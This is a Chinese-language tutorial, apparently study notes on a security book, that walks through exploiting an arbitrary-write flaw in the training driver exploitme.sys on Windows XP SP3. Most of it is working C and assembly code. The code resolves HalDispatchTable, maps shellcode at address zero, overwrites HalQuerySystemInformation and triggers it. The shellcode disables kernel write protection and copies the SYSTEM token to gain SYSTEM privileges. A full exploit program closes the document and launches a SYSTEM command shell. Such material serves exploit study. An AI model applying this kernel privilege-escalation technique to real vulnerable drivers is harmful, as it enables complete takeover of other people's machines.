本节接前方,对 exploitme.sys 进行利用。
exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。
获取 HalDispatchTable 表地址 x
HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:
1 NTSATUS NtSataus = STATUS_UNSUCCESSFUL; 2 ULONG ReturnLength = 0; 3 ULONG ImageBase = 0; 4 PVOID MAppedBase = NULL; 5 UCHAR ImageName[KERNEL_NAME_LENGTH] = {0}; 6 ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; 7 PVOID HalDispatchTable = NULL; 8 PVOID xHalQuerySystemInformation = NULL; 9 ULONG ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode; 10 PVOID ShellCodeAddress = NULL; 11 UNICODE_STRING DllName = {0}; 12 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL; 13 int RetryTimes = 10; 14 15 ////////////////////////////////////////////////// 16 // 获取内核模块基址和内核模块名称 17 ////////////////////////////////////////////////// 18 // 获取内核模块列表数据大小到 ReturnLength 19 ////////////////////////////////////////////////// 20 NtStatus = ZwQuerySystemInformation( 21 SystemModuleInformation, 22 ModuleInformation, 23 ReturnLength, 24 &ReturnLength); 25 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH) 26 return; 27 28 // 申请内存 存放内核模块列表数据 29 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength); 30 if(!ModuleInformaiton) 31 return; 32 // 获取内核模块列表数据到 ModuleInformation 33 NtStatus = ZwQuerySystemInformation( 34 SystemModuleInformation, 35 ModuleInformation, 36 ReturnLength, 37 NULL); 38 if(NtStatus != STATUS_SUCCESS) 39 { 40 free(ModuleInformation); 41 return; 42 } 43 44 // 从内核模块列表获取内核第一个模块的基址和名称 45 ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); 46 RtlMoveMemory(ImageName, 47 (PVOID)(ModuleInformation->Modules[0].ImageName + 48 ModuleInformation->Modules[0].ModuleNameOffset), 49 KERNEL_NAME_LENGTH); 50 51 // 释放存放内核模块列表的内存 52 free(ModuleInformation); 53 54 // 获取内核模块的 UnicodeString 55 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName); 56 57 ////////////////////////////////////////////////// 58 // 加载内核模块到本地进程 59 ////////////////////////////////////////////////// 60 NtStatus = (NTSTATUS)LdrLoadDll( 61 NULL, // DllPath 62 &DllCHaracteristics, // DllCharacteristics 63 &DllName, // DllName 64 &MappedBase); // DllHandle 65 if(NtStatus) 66 return; 67 68 ////////////////////////////////////////////////// 69 // 获取内核 HalDispatchTable 函数表地址 70 ////////////////////////////////////////////////// 71 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable"); 72 if(HalDispatchTable == NULL) 73 return; 74 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase); 75 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); 76 77 ////////////////////////////////////////////////// 78 // 卸载本地进程中的内核模块 79 ////////////////////////////////////////////////// 80 LdrUnloadDll((PVOID)MappedBase);
在 0x0 处申请一段内存,并写入 Ring0 Shellcode
在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。
1 ////////////////////////////////////////////////// 2 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode 3 ////////////////////////////////////////////////// 4 ShellCodeAddress = (PVOID)sizeof(ULONG); 5 NtStatus = ZwAllocateVirtualMemory( 6 NtCurrentProcess(), // ProcessHandle 7 &ShellCodeAddress, // BaseAddress 8 0, // ZeroBits 9 &ShellCodeSize, // AllocationSize 10 MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, // AllocationType 11 PAGE_EXECUTE_READWRITE); // Protect 12 if(NtStatus) 13 return; 14 // 存放 ShellCode 15 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
利用漏洞向 xHalQuerySystemInformation 写入 0x0
1 ////////////////////////////////////////////////// 2 // 触发漏洞并利用 3 ////////////////////////////////////////////////// 4 RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe"); 5 // 打开 ExploitMe 设备 6 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 7 ObjectAttributes.RootDirectory = 0; 8 ObjectAttributes.ObjectName = &DeviceName; 9 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; 10 ObjectAttributes.SecurityDescriptor = NULL; 11 ObjectAttributes.SecurityQualityOfService = NULL; 12 NtStatus = NtCreateFile( 13 &DeviceHandle, // FileHandle 14 FILE_READE_DATA | 15 FILE_WRITE_DATA, // DesiredAccess 16 &ObjectAttributes, // ObjectAttributes 17 &IoStatusBlock, // IoStatusBlock 18 NULL, // AllocationSize OPTIONAL 19 0, // FileAttributes 20 FILE_SHARE_READ | 21 FILE_SHARE_WRITE, // ShareAccess 22 FILE_OPEN_IF, // CreateDisposition 23 0, // CreateOptions 24 NULL, // EaBuffer OPTIONAL 25 0); // EaLength 26 if(NtStatus) 27 { 28 printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus); 29 goto ret; 30 } 31 // 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0 32 InputData = 0; 33 NtStatus = NtDeviceIoControlFile( 34 DeviceHandle, // FileHandle 35 NULL, // Event 36 NULL, // ApcRoutine 37 NULL, // ApcContext 38 &IoStatusBlock, // IoStatusBlock 39 IOCTL_METHOD_NEITHER, // IoControlCode 40 &InputData, // InputBuffer 41 BUFFER_LENGTH, // InputBufferLength 42 xHalQuerySystemInformation, // OutputBuffer 43 BUFFER_LENGTH); // OutBufferLength 44 if(NtStatus) 45 { 46 printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus); 47 goto ret; 48 }
调用 NtQueryIntervalProfile()
为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。
1 // 漏洞利用 2 while(RetryTimes > 0) 3 { 4 NtStatus = NtQueryIntervalProfile( 5 ProfileTotalIssues, // Source 6 NULL); // Interval 7 if(NtStatus == 0) 8 { 9 printf("NtQueryIntervalProfile() ok!\n"); 10 } 11 Sleep(1000); 12 if(g_isRing0ShellcodeCalled == 1) 13 break; 14 RetryTimes--; 15 } 16 if(RetryTimes == 0 && g_isRing0ShellcodeCalled==0) 17 printf("exploit failed!\n"); 18 else 19 printf("exploit success!\n");
将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()
1 NTSTATUS MyShellCode( 2 ULONG InformationClass, 3 ULONG BufferSize, 4 PVOID Buffer, 5 PULONG ReturnedLength) 6 { 7 // 关闭内核写保护 8 __asm 9 { 10 cli 11 mov eax, cr0 12 mov g_uCr0, eax 13 and eax, 0xFFFEFFFF 14 mov cr0, eax 15 } 16 // do something in ring0 17 // TODO 18 19 // 恢复内核写保护 20 __asm 21 { 22 sti 23 mov eax, g_uCr0 24 mov cr0, eax 25 } 26 // 将全局变量置 1 27 g_isRing0ShellcodeCalled = 1; 28 reutrn 0; 29 } 30 void EndofMyShellcode() 31 { 32 }
Ring0 Shellcode 的编写
提权到 SYSTEM
修改当前进程的 token 为 SYSTEM 进程的 token,这样当前进程就可以控制整个系统:
1 NTSTATUS MyShellCode( 2 ULONG InformationClass, 3 ULONG BufferSize, 4 PVOID Buffer, 5 PULONG ReturnedLength) 6 { 7 // 关闭内核写保护 8 __asm 9 { 10 cli 11 mov eax, cr0 12 mov g_uCr0, eax 13 and eax, 0xFFFEFFFF 14 mov cr0, eax 15 } 16 // do something in ring0 17 18 // 提权到 SYSTEM 19 __asm 20 { 21 mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode) 22 mov eax, [eax] // eax = PETHREAD of current thread 23 mov esi, [eax+0x220] // esi = PEPROCESS of current process 24 mov eax, esi 25 searchXp: 26 mov eax, [eax+0x88] 27 sub eax, 0x88 // eax = next PEPROCESS in process chain 28 mov edx, [eax+0x84] // edx = PID of the process 29 cmp edx, 0x4 // search SYSTEM process by PID 30 jne searchXp 31 mov eax, [eax+0xC8] // eax = SYSTEM process token 32 mov [esi+0xC8], eax // change the token of current process 33 } 34 // 恢复内核写保护 35 __asm 36 { 37 sti 38 mov eax, g_uCr0 39 mov cr0, eax 40 } 41 g_isRing0ShellcodeCalled = 1; 42 reuturn 0; 43 }
恢复内核 Hook/Inline Hook
以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。
在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址:
1 // 全局变量 内核中 SSDT 表的地址 2 ULONG g_RealSSDT = 0; 3 // 全局变量 SSDT 函数个数 4 ULONG g_ServiceNum = 0x11C; 5 // 全局变量 SSDT 函数原始地址数组 6 ULONG g_OrgService[0x11C]; 7 ////////////////////////////////////////////// 8 // 获取 SSDT 中函数的原始地址和 SSDT 表地址 9 ////////////////////////////////////////////// 10 // 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址 11 ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable"); 12 if (KeSSDT == 0) 13 return; 14 // 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移 15 ULONG poh_ImageBase = 0; 16 ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase); 17 if (KiSSDT == 0) 18 return; 19 // 获取本地进程中加载的内核模块中的 KiServiceTable 地址 20 KiSSDT += (ULONG)MappedBase; 21 // 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址 22 for (ULONG i = 0; i < ServiceNum; i++) 23 { 24 g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase; 25 } 26 // 换算内核中 SSDT 表的地址 27 g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;
得到原始 SSDT 函数地址和内核中 SSDT 表的地址后,Ring0 Shellcode 的任务就是恢复所有 Hook:
1 // 恢复所有的 SSDT Hook 2 ULONG i; 3 for (i=0; i<g_ServiceNum; i++) 4 { 5 *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i]; 6 }
添加调用门/中断门/任务门/陷阱门
详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。
最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:
1 // exploit.cpp : Defines the entry point for the console application. 2 // 3 // env: 4 // os: windows xp sp3 5 // ide: vs 2008 6 7 #include "stdafx.h" 8 #include <stdio.h> 9 #include <stdlib.h> 10 #include <windows.h> 11 #include <string.h> 12 #include "ntapi.h" 13 #pragma comment(linker,"/defaultlib:ntdll.lib") 14 15 #define PAGE_SIZE 0x1000 16 #define OBJ_CASE_INSENSITIVE 0x00000040 17 #define FILE_OPEN_IF 0x00000003 18 #define KERNEL_NAME_LENGTH 0x0D 19 #define BUFFER_LENGTH 0x04 20 21 //触发漏洞使用的IoControlCode 22 #define IOCTL_METHOD_NEITHER 0x8888A003 23 24 //Ring0中执行的Shellcode 25 NTSTATUS Ring0ShellCode( 26 ULONG InformationClass, 27 ULONG BufferSize, 28 PVOID Buffer, 29 PULONG ReturnedLength) 30 { 31 int g_uCr0; 32 __asm 33 { 34 cli; 35 mov eax, cr0; 36 mov g_uCr0,eax; 37 and eax,0xFFFEFFFF; 38 mov cr0, eax; 39 } 40 // 提权到 SYSTEM 41 __asm 42 { 43 mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode) 44 mov eax, [eax] // eax = PETHREAD of current thread 45 mov esi, [eax+0x220] // esi = PEPROCESS of current process 46 mov eax, esi 47 searchXp: 48 mov eax, [eax+0x88] 49 sub eax, 0x88 // eax = next PEPROCESS in process chain 50 mov edx, [eax+0x84] // edx = PID of the process 51 cmp edx, 0x4 // search SYSTEM process by PID 52 jne searchXp 53 mov eax, [eax+0xC8] // eax = SYSTEM process token 54 mov [esi+0xC8], eax // change the token of current process 55 } 56 // 恢复内核写保护 57 __asm 58 { 59 sti 60 mov eax, g_uCr0 61 mov cr0, eax 62 } 63 //g_isRing0ShellcodeCalled = 1; 64 return 0; 65 } 66 67 //申请内存的函数 68 PVOID MyAllocateMemory(IN ULONG Length) 69 { 70 NTSTATUS NtStatus; 71 PVOID BaseAddress = NULL; 72 NtStatus = NtAllocateVirtualMemory( 73 NtCurrentProcess(), 74 &BaseAddress, 75 0, 76 &Length, 77 MEM_RESERVE | 78 MEM_COMMIT, 79 PAGE_READWRITE); 80 if(NtStatus == STATUS_SUCCESS) 81 { 82 RtlZeroMemory(BaseAddress, Length); 83 return BaseAddress; 84 } 85 return NULL; 86 } 87 88 //释放内存的函数 89 VOID MyFreeMemory(IN PVOID BaseAddress) 90 { 91 NTSTATUS NtStatus; 92 ULONG FreeSize = 0; 93 NtStatus = NtFreeVirtualMemory( 94 NtCurrentProcess(), 95 &BaseAddress, 96 &FreeSize, 97 MEM_RELEASE); 98 } 99 100 //main函数 101 int _tmain(int argc, _TCHAR* argv[]) 102 { 103 NTSTATUS NtStatus; 104 HANDLE DeviceHandle=NULL; 105 ULONG ReturnLength = 0; 106 ULONG ImageBase; 107 PVOID MappedBase=NULL; 108 UCHAR ImageName[KERNEL_NAME_LENGTH]; 109 ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; 110 PVOID HalDispatchTable; 111 PVOID xHalQuerySystemInformation; 112 ULONG ShellCodeSize = PAGE_SIZE; 113 PVOID ShellCodeAddress; 114 PVOID BaseAddress = NULL; 115 UNICODE_STRING DeviceName; 116 UNICODE_STRING DllName; 117 ANSI_STRING ProcedureName; 118 OBJECT_ATTRIBUTES ObjectAttributes; 119 IO_STATUS_BLOCK IoStatusBlock; 120 SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL; 121 LARGE_INTEGER Interval; 122 ULONG InputData=0; 123 124 //清空控制台屏幕 125 system("cls"); 126 127 //获取内核模块列表数据长度到ReturnLength 128 NtStatus = NtQuerySystemInformation( 129 SystemModuleInformation, 130 ModuleInformation, 131 ReturnLength, 132 &ReturnLength); 133 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH) 134 { 135 printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); 136 goto ret; 137 } 138 139 //申请内存 140 ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); 141 ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength); 142 if(ModuleInformation==NULL) 143 { 144 printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); 145 goto ret; 146 } 147 148 //获取内核模块列表数据 149 NtStatus = NtQuerySystemInformation( 150 SystemModuleInformation, 151 ModuleInformation, 152 ReturnLength, 153 NULL); 154 if(NtStatus != STATUS_SUCCESS) 155 { 156 printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); 157 goto ret; 158 } 159 160 //保存内核第一个模块(即nt模块)基址和名称,并打印 161 ImageBase = (ULONG)(ModuleInformation->Module[0].Base); 162 RtlMoveMemory( 163 ImageName, 164 (PVOID)(ModuleInformation->Module[0].ImageName + 165 ModuleInformation->Module[0].PathLength), 166 KERNEL_NAME_LENGTH); 167 printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName); 168 169 170 //获取内核模块名称字符串的Unicode字符串 171 RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); 172 173 //加载内核模块到本进程空间 174 NtStatus = LdrLoadDll( 175 NULL, // DllPath 176 &DllCharacteristics, // DllCharacteristics 177 &DllName, // DllName 178 &MappedBase); // DllHandle 179 if(NtStatus) 180 { 181 printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus); 182 goto ret; 183 } 184 185 //获取内核模块在本进程空间中导出名称HalDispatchTable的地址 186 RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable"); 187 NtStatus = LdrGetProcedureAddress( 188 (PVOID)MappedBase, // DllHandle 189 &ProcedureName, // ProcedureName 190 0, // ProcedureNumber OPTIONAL 191 (PVOID*)&HalDispatchTable); // ProcedureAddress 192 if(NtStatus) 193 { 194 printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus); 195 goto ret; 196 } 197 198 //计算实际的HalDispatchTable内核地址 199 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase); 200 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase); 201 202 //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址 203 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); 204 205 //打印HalDispatchTable内核地址和xHalQuerySystemInformation值 206 printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n", 207 HalDispatchTable, 208 xHalQuerySystemInformation); 209 210 //设备名称的Unicode字符串 211 RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe"); 212 213 //打开ExploitMe设备 214 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 215 ObjectAttributes.RootDirectory = 0; 216 ObjectAttributes.ObjectName = &DeviceName; 217 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; 218 ObjectAttributes.SecurityDescriptor = NULL; 219 ObjectAttributes.SecurityQualityOfService = NULL; 220 NtStatus = NtCreateFile( 221 &DeviceHandle, // FileHandle 222 FILE_READ_DATA | 223 FILE_WRITE_DATA, // DesiredAccess 224 &ObjectAttributes, // ObjectAttributes 225 &IoStatusBlock, // IoStatusBlock 226 NULL, // AllocationSize OPTIONAL 227 0, // FileAttributes 228 FILE_SHARE_READ | 229 FILE_SHARE_WRITE, // ShareAccess 230 FILE_OPEN_IF, // CreateDisposition 231 0, // CreateOptions 232 NULL, // EaBuffer OPTIONAL 233 0); // EaLength 234 if(NtStatus) 235 { 236 printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus); 237 goto ret; 238 } 239 //利用漏洞将HalQuerySystemInformation函数地址改为0 240 InputData = 0; 241 NtStatus = NtDeviceIoControlFile( 242 DeviceHandle, // FileHandle 243 NULL, // Event 244 NULL, // ApcRoutine 245 NULL, // ApcContext 246 &IoStatusBlock, // IoStatusBlock 247 IOCTL_METHOD_NEITHER, // IoControlCode 248 &InputData, // InputBuffer 249 BUFFER_LENGTH, // InputBufferLength 250 xHalQuerySystemInformation, // OutputBuffer 251 BUFFER_LENGTH); // OutBufferLength 252 if(NtStatus) 253 { 254 printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus); 255 goto ret; 256 } 257 258 //在本进程空间申请0地址内存 259 ShellCodeAddress = (PVOID)sizeof(ULONG); 260 NtStatus = NtAllocateVirtualMemory( 261 NtCurrentProcess(), // ProcessHandle 262 &ShellCodeAddress, // BaseAddress 263 0, // ZeroBits 264 &ShellCodeSize, // AllocationSize 265 MEM_RESERVE | 266 MEM_COMMIT | 267 MEM_TOP_DOWN, // AllocationType 268 PAGE_EXECUTE_READWRITE); // Protect 269 if(NtStatus) 270 { 271 printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus); 272 goto ret; 273 } 274 printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 275 276 //复制Ring0ShellCode到0地址内存中 277 RtlMoveMemory( 278 ShellCodeAddress, 279 (PVOID)Ring0ShellCode, 280 ShellCodeSize); 281 282 //触发漏洞 283 NtStatus = NtQueryIntervalProfile( 284 ProfileTotalIssues, // Source 285 NULL); // Interval 286 if(NtStatus) 287 { 288 printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus); 289 goto ret; 290 } 291 printf("NtQueryIntervalProfile succeed!\n"); 292 system("start cmd.exe"); 293 294 295 ret: 296 //释放申请的内存 297 if (ModuleInformation) 298 { 299 MyFreeMemory(ModuleInformation); 300 } 301 //卸载本进程中的内核模块 302 if (MappedBase) 303 { 304 LdrUnloadDll((PVOID)MappedBase); 305 } 306 //关闭句柄 307 if(DeviceHandle) 308 { 309 NtStatus = NtClose(DeviceHandle); 310 if(NtStatus) 311 { 312 printf("NtClose failed! NtStatus=%.8X\n", NtStatus); 313 } 314 } 315 return 0; 316 }